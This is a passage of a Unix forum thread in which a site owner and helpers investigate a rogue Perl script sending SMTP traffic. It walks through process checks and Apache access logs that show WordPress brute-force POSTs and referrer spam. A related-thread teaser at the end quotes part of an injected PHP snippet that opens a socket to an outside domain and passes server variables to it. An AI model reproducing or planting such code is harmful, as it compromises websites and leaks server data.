Malicious perl script

Login or Register for Dates, Times and to Reply

 
Thread Tools Search this Thread
# 15  
Hello,

That's certainly a good idea in general, to run something like 'watchdog' or 'tripwire'. I don't think anything it's found is particularly worrisome, and is all stuff I'd more or less expect to be there, depending on what you have installed.

The main thing I'd definitely do is look at what processes are running at the moment, and investigate the /proc entries for any suspicious ones that are still there. Next, read through your Web logs for anything that looks abnormal around the time that the incident is alleged to have began. With any luck there's a clear trace in the Web logs that will show you where the dodgy scripts were stored, and perhaps even how they came to be uploaded.
# 16  
Looked at the access logs for "petra" found this during the attack:
Code:
66.249.65.5 - - [23/Feb/2017:22:36:26 -0500] "GET /1714/9292rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:36:27 -0500] "GET /1714/9292rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:36:35 -0500] "GET /1715/1478rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:36:40 -0500] "GET /1717/4280rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:36:41 -0500] "GET /1717/4280rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:36:54 -0500] "GET /1714/1680rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:36:55 -0500] "GET /1714/1680rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.9 - - [23/Feb/2017:22:37:08 -0500] "GET /1702/8357rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.2 - - [23/Feb/2017:22:37:09 -0500] "GET /1702/8357rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.7 - - [23/Feb/2017:22:37:22 -0500] "GET /1714/8647rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:37:23 -0500] "GET /1714/8647rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:37:36 -0500] "GET /1707/3950rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:37:37 -0500] "GET /1707/3950rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:37:50 -0500] "GET /1704/4965rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:37:51 -0500] "GET /1704/4965rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.9 - - [23/Feb/2017:22:38:04 -0500] "GET /1704/6309rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.2 - - [23/Feb/2017:22:38:05 -0500] "GET /1704/6309rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:38:18 -0500] "GET /1704/4054rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:38:19 -0500] "GET /1704/4054rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:38:32 -0500] "GET /1704/4079rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:38:33 -0500] "GET /1704/4079rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:38:46 -0500] "GET /1702/4865rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:38:47 -0500] "GET /1702/4865rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
72.4.160.86 - - [23/Feb/2017:22:38:59 -0500] "GET / HTTP/1.0" 301 255 "-" "-"
66.249.65.5 - - [23/Feb/2017:22:39:00 -0500] "GET /1707/6902rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:39:01 -0500] "GET /1707/6902rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.9 - - [23/Feb/2017:22:39:14 -0500] "GET /1704/8694rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:39:15 -0500] "GET /1704/8694rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:39:28 -0500] "GET /1708/9940rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:39:29 -0500] "GET /1708/9940rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:39:42 -0500] "GET /1709/4377rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:39:43 -0500] "GET /1709/4377rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.5 - - [23/Feb/2017:22:39:56 -0500] "GET /1711/7066rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 301 395 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.63 - - [23/Feb/2017:22:39:57 -0500] "GET /1711/7066rgpmuw/-guwuiwp-jmf-snj-756278-rgs/wwq HTTP/1.0" 404 10615 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.9 - - [23/Feb/2017:22:40:05 -0500] "GET /an


Moderator's Comments:
Mod Comment Seriously: PLEASE use CODE tags as required by forum rules!
Whilest you earlier seemed to have adopted this, there has crept up some slack in recent posts

Last edited by RudiC; 02-24-2017 at 10:17 AM.. Reason: Added CODE tags.
# 17  
Hi,

I don't think that what you've found is likely to be terribly relevant. Unless the User-Agent has been faked, that's just normal Google crawling.

You're looking for anything that appears to concern a Perl script. POST operations are also probably of particular interest, rather than GETs. At least one POST was probably involved at one point to invoke the malicious script.

Note that there will be separate log files for each site on your server, so you will need to check each Apache access_log that exists on your server in case the exploit was started from another site or location than your WordPress site.
# 18  
Quote:
Originally Posted by drysdalk
Hi,

I don't think that what you've found is likely to be terribly relevant. Unless the User-Agent has been faked, that's just normal Google crawling.

You're looking for anything that appears to concern a Perl script. POST operations are also probably of particular interest, rather than GETs. At least one POST was probably involved at one point to invoke the malicious script.

Note that there will be separate log files for each site on your server, so you will need to check each Apache access_log that exists on your server in case the exploit was started from another site or location than your WordPress site.

Doing that now but since that was the wordpress install I thought I'd look at that one first. Lots for logs to go through.

---------- Post updated at 09:23 AM ---------- Previous update was at 09:15 AM ----------

Quote:
Originally Posted by dadprpus
Doing that now but since that was the wordpress install I thought I'd look at that one first. Lots for logs to go through.
This one is kinda different:
Code:
195.133.48.121 - - [23/Feb/2017:00:37:19 -0500] "HEAD / HTTP/1.0" 200 300 "http://bettingtips.pro/" "Mozilla/4.0 (compatible; MSIE3.00; Windows 2006)"
195.133.48.150 - - [23/Feb/2017:00:37:20 -0500] "HEAD / HTTP/1.0" 200 300 "http://www.mai-club.ru/otzyivyi.html" "Mozilla/4.0 (compatible; MSIE3.00; Windows 2009)"

---------- Post updated at 09:33 AM ---------- Previous update was at 09:23 AM ----------

and:
Code:
187.190.245.207 - - [23/Feb/2017:00:45:49 -0500] "POST /xmlrpc.php HTTP/1.0" 404 10636 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

187.190.245.207 - - [23/Feb/2017:00:45:50 -0500] "POST /wp-login.php HTTP/1.0" 200 3937 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

195.133.147.89 - - [23/Feb/2017:00:56:28 -0500] "HEAD / HTTP/1.0" 200 300 "http://worldcuisine.pro/" "Mozilla/2.0 (compatible; MSIE7.00; Windows 2006)"
193.124.131.168 - - [23/Feb/2017:00:56:28 -0500] "HEAD / HTTP/1.0" 200 300 "http://banket-restoran.ru/osobennosti-svadby-na-kipre.html" "Mozilla/5.0 (compatible; MSIE3.00; Windows 2002)"




Code:
103.21.44.26 - - [23/Feb/2017:01:09:43 -0500] "POST /xmlrpc.php HTTP/1.0" 404 10636 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
103.21.44.26 - - [23/Feb/2017:01:09:44 -0500] "POST /wp-login.php HTTP/1.0" 200 3937 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

195.133.144.24 - - [23/Feb/2017:01:30:45 -0500] "HEAD / HTTP/1.0" 200 300 "http://nonbox.ru/metod-borby-s-alkogolnoj.html" "Mozilla/2.0 (compatible; MSIE4.00; Windows 2009)"
195.133.147.6 - - [23/Feb/2017:01:31:58 -0500] "HEAD / HTTP/1.0" 200 300 "https://nochuem.ru" "Mozilla/3.0 (compatible; MSIE2.00; Windows 2003)"

So you get the idea. These are all from Petra.



Moderator's Comments:
Mod Comment Please use CODE tags as required by forum rules!

Last edited by dadprpus; 02-24-2017 at 10:42 AM.. Reason: Added CODE tags.
# 19  
Hi,

Aside from perhaps the POST /xmlrpc.php entries, nothing there is jumping out at me as being majorly sinister (so long as the IP address from which the POST /wp-login.php originated was expected, naturally). There have been some longstanding issues with WordPress security around xmlrpc.php, in certain configurations.

If you'll never actually need the functionality it offers (which more or less revolves around letting you update your blog remotely via certain kinds of third-party and mobile apps), then you can probably safety disable access to that file.

All in all though, I think you've probably still to find your "smoking gun" here, to so speak.

Also, sorry to ask the same thing again, but it is rather important: are you sure there are currently no sinister or unexpected processes running on your server right now ?
# 20  
Nothing right now.

---------- Post updated at 11:07 AM ---------- Previous update was at 10:56 AM ----------

This is what my host admin said currently:
Thank you for getting back to us.

The 'HEAD / HTTP/1.0" 200 300' requests you are seeing are multi-choice requests, which require more clarification what sources was actually request. These are typically generated by bad redirects from outside sources via incorrect links.

Regarding the 'POST /wp-login.php HTTP/1.0" 200' and 'POST /xmlrpc.php HTTP/1.0" 404' logs, those are most likely due to someone trying to brute-force your WordPress website. This is an indication of an XML-RPC attack. I would highly advise you to either password protect wp-login.php or wp-admin, in order to prevent outside access to these crucial parts of your website.

Depending on how well you have secured your WordPress site it may eventually lead to the website being compromised. As I see you are using Fail2Ban for your wordpress sites, it should not be an issue.

So, it should not be an issue? have I blown this all out of proportion and worried for nothing, not to mention everybody's time here. If so, I apologize.
But I'm glad to see this forum is active and willing to help.
# 21  
Hi,

I suspect these are two different issues. So far you have seen evidence of attempted brute-forcing of your WordPress logins, and you also saw a Perl script establishing a variety of outbound SMTP connections back at the very start of this thread.

It is entirely possible that the two are related, but equally they may not be. There's always a steady trickle of would-be brute-forcing and exploit scanning in the logs of pretty much every Web server on the Internet, more or less. If your WordPress installation is genuinely secure, these should be nothing to worry about. More sinister is the Perl script.

If in the output of ps and top right now you're not able to see any errant Perl scripts, and if there is nothing Perl-related in any of your Web logs, then there's not much more you can do at this point to track down that Perl script.

What you can say for sure is that your server was clearly running an unexpected Perl script that appeared to be establishing a variety of outbound SMTP connections, and it must have come from somewhere. And if that somewhere wasn't you, then you do definitely have a security issue you still need to get to the bottom of.
Login or Register for Dates, Times and to Reply

Previous Thread | Next Thread
Thread Tools Search this Thread
Search this Thread:
Advanced Search

7 More Discussions You Might Find Interesting

1. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies

2. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

3. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

6. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

7. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

Featured Tech Videos